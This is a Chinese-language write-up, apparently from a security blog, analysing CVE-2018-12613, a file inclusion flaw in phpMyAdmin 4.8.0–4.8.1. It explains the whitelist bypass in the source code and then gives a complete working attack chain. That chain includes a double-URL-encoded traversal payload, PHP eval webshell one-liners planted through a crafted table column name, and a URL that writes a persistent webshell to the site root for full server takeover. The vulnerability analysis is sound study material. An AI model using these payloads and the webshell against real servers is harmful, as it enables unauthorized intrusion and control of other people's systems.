文件包含漏洞
0.前言
漏洞编号CVE-2018-12613,这是一个在phpMyAdmin4.8.x(4.8.2之前)上发现的文件包含漏洞,攻击者可以利用该漏洞在后台进行任意的文件包含。也就也为着攻击者可以通过webshell直接拿下搭建了该服务的站点。本篇文章主要侧重于对该漏洞的原理进行分析,并给出利用该漏洞的方法。并介绍了理解该漏洞的背景知识。并在此特别声明本篇文章仅用于交流和讨论,切勿用于非法用途。社会主义核心价值护体。
1.预备知识
1.1 什么是文件包含?
当我们在访问某个站点的时候,如果站点开放了用户注册和登录的入口。那么在正常情况下,当用户在访问每个页面的时候,站点都会检查当前登录的用户是否具有当页面的权限。设想一下如果站点不对用户的权限进行检查,也就是说用户可以访问该站点的任意页面,甚至可以查看别的用户的用户主页等信息,这当然是不被允许的。因此对用户访问的每个页面多进行用户权限的检查是网站必须执行的操作。
那么我们设想一下应该如何实现该操作呢?是不是在每一个页面中都写一段检查用户权限的代码。因为检查用户的权限,执行的是相同的了逻辑操作,也就意味着每个页面都会存在一段相同的代码。这当然是一个不理想的状态。程序员通常会将相同且频繁调用的代码提取出来作为一个文件,在需要使用该段代码的时候直接加载该文件即可。这样写出来的代码更加的简练和高效。这就是所谓的文件包含。文件包含是指在一个文件中调用另一个文件中的内容。值得一提的是,文件包含有一个特殊的特性,就是对于被包含的文件的文件,会忽略文件的后缀而直接将文件作为可以执行的程序进行执行。以php程序为例,程序员会通过
include、require、include_once、require_once
- 1
完成对目标文件的包含。
其实通过上面的描述可以看出来文件包含是程序的一种特性,而并不是一种漏洞。但是别有用心的攻击者就是利用了文件包含的特性,加上程序开发人员对文件包含的控制不够严格,造成了任意的文件包含。也就是所攻击者可以控制究竟包含哪一个文件。这是一件非常可怕的事情,设想一下,攻击者通过文件包含执行了木马程序,甚至就可以直接拿下这台服务器。
1.2 windows系统的小技巧
我们先来了解一下windows系统的一个命令cd。该命令的全称为change directory,通过该命令的全称可以推测该命令是用来改变工作目录的。比如我当前位于目录
C:\Users\Sisyphus
- 1
在当前目录下有子目录test,而我想进入该子目录就可以输入命令
cd test
- 1
也可以是
cd C:\Users\Sisyphus\test
- 1
也就是说该命令即支持相对路径也支持绝对路径。同时我们可以输入
cd ..
- 1
进入上一级目录中,这里的…就是表示上一级目录。如果我们进入test目录后想要回到Sisyphus目录中,就可以输入上面的目录退回Sisyphus目录。接着我们看下面一条命令
cd fhdjsaklf/../
- 1
fhdjsaklf是随意输入的一串字符串,在当前目录下并没有该子目录。但是我们会惊奇的发现该命令并没有报错反而居然执行成功了,但是我们的所在的目录并没有发生变化。
我们来仔细分析一下该命令,首先命令解释器接收到该命令后从cd关键字知道该命令是用来改变工作目录的,然后解析后面的目标目录,它发现我们想进入fhdjsaklf目录下的…目录,也就是说进入fhdjsaklf后在跳会上一级目录,而我们当前所在的目录就是fhdjsaklf目录的上一级目录。因此解释器判定我们想要就去的目录就是我们当前所在的地方,所以他并没有做任何工作,也没有检查fhdjsaklf是否真的存在。
2.漏洞原理分析
有了上面的基础知识后,我们就可以进入本篇文章的重头环节——漏洞的原理分析。
2.1 源码分析
该漏洞在phpMyAdmin4.8.0和4.8.1中存在,这里以phpMyAdmin的4.8.1版本为例进行分析。首先我们要获取phpMyAdmin4.8.1的源码,当然没有源码也并不妨碍你读懂该篇文章,与漏洞相关的重要的代码都已经显示在文章中。将我们的源码使用seay(代码审计工具)打开。因为我们已经明确该漏洞是文件包含漏洞,所以直接在seay中全局搜索include关键字,发现代码中存在大量的include。但是大部分的include都是类似于下面这种
include 'libraries/db_common.inc.php';
- 1
将包含的文件名或者路径写死在程序中,也就是说用户无法控制包含的文件也就不存在文件包含漏洞。我们主要是寻找用户可以控制文件路径的include函数。本文讨论的漏洞出现index.php文件的在下面的代码中
include $_REQUEST['target'];
- 1
从代码中可以看出,他会从客户端接收数据,然后将数据指定的文件包含到程序中,显然我们可以控制包含的文件。这便是我们要执行的目标代码。
接着仔细查看该段代码出现的文件内容,查看如何能够触发文件包含,也就是说如何能够让程序执行到存在文件包含漏洞的代码。从目标代码往前查看,寻找die、exit这些能够导致退出脚本的语句。我们在代码中找到了如下的内容
if (! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];
exit;
}
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
可以看到我们要执行的目标代码本身位于一个if判断中,该if判断中存在五个条件
条件编号 | 条件内容 |
---|---|
条件1 | !empty($_REQUEST[‘target’]) |
条件2 | is_string($_REQUEST[‘target’]) |
条件3 | !preg_match(’/^index/’, $_REQUEST[‘target’]) |
条件4 | !in_array($_REQUEST[‘target’], $target_blacklist) |
条件5 | Core::checkPageValidity($_REQUEST[‘target’]) |
必须要同时满足上面的5个条件才可以执行我们的目标代码。条件1表示来自客户端的传参的target字段值不可以为空;条件2表示target字段的值必须要是字符串;条件3表示target字段的值不可以以index开头。在条件4中出现了一个新的变量$target_blacklist,在条件5中有一个函数Core::checkPageValidity。接下来我们要研究这一个变量和一个函数。
根据该变量的命名可以推测,该变量应该是一个黑名单。在程序中找到了该变量的定义如下
$target_blacklist = array (
'import.php', 'export.php'
);
- 1
- 2
- 3
可以看到变量$target_blacklist是一个数组,里面存放的是两个文件名。也就是说该变量确实是一个黑名单,条件4是判断target的值是否在黑名单中,如果在黑名单中in_array函数就会为真,而!in_array也就为假。整个的if就会不成立,所以我们输入的target的内容不可以为import.php或者export.php。
弄清了变量的意思,接下来要看看函数
Core::checkPageValidity
- 1
的作用,在程序中找到该函数的定义如下
class Core
{
//...
public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
return false;
}
//...
}
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
该函数是Core类的一个静态方法。代码的作者在代码中对该函数的功能进行了描述,即该函数会根据白名单对target传参进行审查,如果target的值在名单中该函数就会返回true。其中白名单存放在$whitelist变量中。
接下来我们来仔细的分析一下该函数的处理逻辑。可以看到在该函数中存在5个if判断,分别是
判断编号 | 判断内容 |
---|---|
判断1 | if(empty($whitelist)) |
判断2 | if(!isset($page)||! is_string($page)) |
判断3 | if(in_array($page, $whitelist)) |
判断4 | if(in_array($page, $whitelist)) |
判断5 | if(in_array($page, $whitelist)) |
因为在函数中定义了如果$whitelist在传参的时候为缺省,就会直接置为空值。
public static function checkPageValidity(&$page, array $whitelist = [])
- 1
所以第一个if判断是在函数是对白名单进行初始化操作,原始的白名单内容存放在变量$goto_whitelist中,该变量的值为
public static $goto_whitelist = array(
'db_datadict.php',
'db_sql.php',
'db_events.php',
//......
'transformation_overview.php',
'transformation_wrapper.php',
'user_password.php',
);
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
在执行完第一个判断后,变量$whitelist中就存放了白名单的内容。判断1只是完成白名单的初始化操作,与我们传参的内容无关。接着看判断2,
if (! isset($page) || !is_string($page))
- 1
该判断是用来检测我们target字段的值是否不为空且类型为字符串。后面三个判断都是检测taget字段的值是否在白名单中,如果在白名单中该函数会返回true。
if (in_array($_page, $whitelist))
- 1
但是关键点在于如果不在白名单中该函数并没有直接返回false,而是对target字段的值进行了处理然后再进行匹配。
判断3是直接判断target字段的值是否在白名单中,如果不在白名单中会执行下面的代码
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
- 1
- 2
- 3
- 4
- 5
该段代码会截取传参之前的内容,比如我们传入的内容是index.php?id=1,经过该函数处理后会变成index.php。然后将截取到的文件名与白名单进行匹配,也就是判断4执行的内容。如果匹配成功返回true,匹配失败接着对target的值进行处理,会执行下面的代码
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
- 1
- 2
- 3
- 4
- 5
- 6
该段代码会对target的值进行URL解码,然后对解码后的内容截取?传参之前的内容。在将截取到的内容与白名单进行匹配,也就是执行判断5的内容,这是最后一个判断。如果该判断成立会返回true。所有的判断都不成立就会返回false。
2.2 构造payload
2.2.1 设想一:target=db_sql.php?/…/
如果我们想成功执行
include $_REQUEST['target'];
- 1
必须要使我们的target传参同时满足以下5个条件
条件编号 | 条件内容 | 说明 |
---|---|---|
条件1 | !empty($_REQUEST[‘target’]) | target的值不可以为空 |
条件2 | is_string($_REQUEST[‘target’]) | target的值的类型必须为字符串 |
条件3 | !preg_match(’/^index/’, $_REQUEST[‘target’]) | target的值不能以index开头 |
条件4 | !in_array($_REQUEST[‘target’], $target_blacklist) | target的值不能为import.php, export.php |
条件5 | Core::checkPageValidity($_REQUEST[‘target’]) | target的值必须能够成功匹配白名单 |
在条件5的函数中又存在5条判断
判断编号 | 判断内容 | 说明 |
---|---|---|
判断1 | if(empty($whitelist)) | 白名单不可以为空 |
判断2 | if(!isset($page)||!is_string($page)) | target的值不可以为空且类型为字符串 |
判断3 | if(in_array($page, $whitelist)) | 将原生的target值与白名单进行匹配 |
判断4 | if(in_array($page, $whitelist)) | 将去掉传参的targte的值与白名单进行匹配 |
判断5 | if(in_array($page, $whitelist)) | 将URL解码并去掉传参的target的值域白名单进行匹配 |
前两条判断可以很顺利的通过,在第三条判断中不存在操作空间,因为他会直接将我们传参的内容与白名单进行匹配。在第四条判断中,我们可以构想如下的payload
target=db_sql.php?/../
- 1
该payload表示的路径是当前工作目录,如果该payload可以在include中成功的被包含,那么我们就可以以当前目录为依据完成文件包含。其中db_sql.php是白名单中的文件,显然该target的值可以顺利的通过前4个条件,
! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
- 1
- 2
- 3
- 4
在执行第5个条件的时候
&& Core::checkPageValidity($_REQUEST['target'])
- 1
进入checkPageValidity函数函数中执行5个判断,
if(empty($whitelist))
if(!isset($page)||!is_string($page))
if(in_array($page, $whitelist))
if(in_array($page, $whitelist))
if(in_array($page, $whitelist))
- 1
- 2
- 3
- 4
- 5
判断1与我们输入的内容无关,判断2显然可以顺利通过,
if(empty($whitelist))
if(!isset($page)||!is_string($page))
- 1
- 2
在执行判断3与白名单进行匹配的时候会匹配失败,然后执行判断4,判断4会去除?之后的内容,target的值从db_sql.php?/…/变成了db_sql.php,与白名单匹配成功了,直接返回true,也就让五个条件都成立,
! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])
- 1
- 2
- 3
- 4
- 5
然后执行我们的目标代码。
在执行checkPageValidity函数的时候并没有修改target的值,在对target的值进行处理后再匹配时,使用_page变量保存的处理的后的值,而没有直接修改target的值,所target的内容依据是我嗯输入的db_sql.php?/…/。但是include所使用的文件的路径中不可以包含特殊字符,而我们使用了?,所以依旧无法完成文件包含。
2.2.2 设想二:target=db_sql.php%253f/…/
虽然设想一没有完成文件包含。但是我们可以利用判断5中会进行URL解码来进行文件的包含。当我们使用GET进行传参的时候浏览器会对GET传递的数据进行URL编码,数据到达服务器后会进行URL解码。比如我们使用GET传递一个单引号(’),浏览器会将其编码为%27,然后传递给服务器端,服务器接收到数据后会进行URL解码,获得传递的值(’’)。但是如果我们手动在数据包中的将%27修改为%2527,那么服务器端接收到%2527的时候会进行一个URL解码,解码后变成了%27(%25是%的URL编码)。而站点的代码中又调用了urldecode函数对传参的内容进行URL解码,在第二次解码后,我们传递的内容变成了单引号(%27是单引号的URL编码)。也就是说客户端发送来的数据服务端进行了两次URL解码。
而我们这里的判断5中就调用urldecode函数。因此我们可以尝试构造下面的payload
target=db_sql.php%253f/../
- 1
首先服务器接收到该传参后进行一次URL解码,变成
target=db_sql.php%3f/../
- 1
该值可以顺利的通过前4个条件的判断,
! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
- 1
- 2
- 3
- 4
然后进入checkPageValidity函数,在执行判断3、4的时候均匹配失败(判断3匹配原声target的值,判断4匹配去掉传参后的target的值),于是执行判断5,在条件5中会对该值进行URL解码,变成了
target=db_sql.php?/../
#%3f是?的URL编码
- 1
- 2
解码完成后,会去除去除传参,最终变成了
target=db_sql.php
- 1
能够成功的匹配白名单。因此条件5也成立,
&& Core::checkPageValidity($_REQUEST['target'])
- 1
便能够执行目标代码
include $_REQUEST['target'];
- 1
虽然在checkPageValidity函数中对target的值进行了一系列处理,但是并没有影响到target真正的值,因为在使用处理后的target进行白名单匹配的时候,都是使用了一个新的变量接受target的值,而并没有直接影响target本来的值,所以target的值依旧为
target=db_sql.php?/../
- 1
现在target值并没有携带include无法接受的特殊符号,因此该payload可以成功跳回当前目录,我们就可以在后面添加任意的路径来包含任意的文件。
3.漏洞利用
知道了站点存在文件包含漏洞,也明确了绕过过滤的办法,接下来要解决的就是如何利用该漏洞。也可以基本设想就是在站点上传一个木马文件,然后通过文件包含漏洞包含该文件,也就是登录执行了木马程序,我们也就可以成功的getshell。
有了上面的基本设想,便可以开始下面的操作了。首先这里是一个后台文件包含的漏洞,因此首先我们需要登录phpMyAdmin。在这里我们无法上传文件,但是我们可以利用MySQL的数据在站点写入木马。
首先要知道MySQL中存放的数据都是以文件的形式存放在服务器上的,我们可以在服务器上创建一个表,该表包含只有一个字段,而这个字段名就是一个木马程序
<?php @eval($_GET['cmd']);?>
- 1
或者是
<?php file_put_contents('1.php','<?php eval($_REQUEST[cmd])?>');?>
- 1
当我们将表的字段名设置为木马后,数据库会创建一个文件,文件中会包含该句代码,也就相当于我们在站点写入了一木马文件。这里使用第一个程序,创建一个表然后将表的字段名设置为木马
CREATE TABLE `test`.`wjbh` ( `<?php @eval($_GET['cmd']);?>` INT);
- 1
完成了木马文件的写入后,我们要使用该漏洞来包含我们的木马文件。首先我们将页面的URL修改为
http://ip/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../phpstudy/mysql/data/test/wjbh.frm&cmd=phpinfo();
- 1
因为漏洞是出现在index.php文件中,我们对该文件进行传参
target=db_sql.php%253f/../../../../../../../../phpstudy/mysql/data/test/wjbh.frm&cmd=phpinfo()
- 1
当index.php接收到target的传参的时候,会进行过滤。根据我们前面的分析,这里所使用的路径可以绕过站点的过滤,顺利的执行到include代码。当include包含该文件的时候会根据文件路径去寻找文件。这里的
db_sql.php%253f/..
- 1
表示的就是当前的工作目录,然后不断的通过’…'跳到上一级目录,无论跳了多少次,最多也只会回到根目录,因此我们可以多跳几次确保进入根目录中,然后在加上木马文件的路径
phpstudy/mysql/data/test/wjbh.frm
#该路径是存放我们之前创建的表的文件
- 1
- 2
当程序包含了我们的木马程序后,会执行我们的木马程序,我们在URL中又对木马程序进行了传参
cmd=phpinfo()
- 1
木马程序会将我们传参的内容当作代码执行,因此我们访问该URL后页面会显示phpinfo的内容,显示如下
说明该木马可以成功的执行,但是要我们要执行该木马文件需要登录phpMyAdmin,登录的步骤会给我们的后续操作代码不变,我们希望可以直接访问木马文件。因此我们可以控制该木马写入一个新的木马文件,将URL修改为
http://ip/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../phpstudy/mysql/data/zgj/wjbh.frm&cmd= file_put_contents('8.php','<?php @eval($_REQUEST[cmd])?>');
- 1
也就是想木马文件传参
file_put_contents('1.php','<?php @eval($_REQUEST[cmd])?>');
- 1
木马文件会执行我们传递的参数,然后会在站点的根目录下写入一个新的木马文件,我们可以通过下面的URL直接访问到该木马文件。
http://ip/phpmyadmin/1.php
- 1
有了该木马文件后,我们可以使用菜刀或者其他工具链接该站点,直接拿下站点的服务器,为所欲为。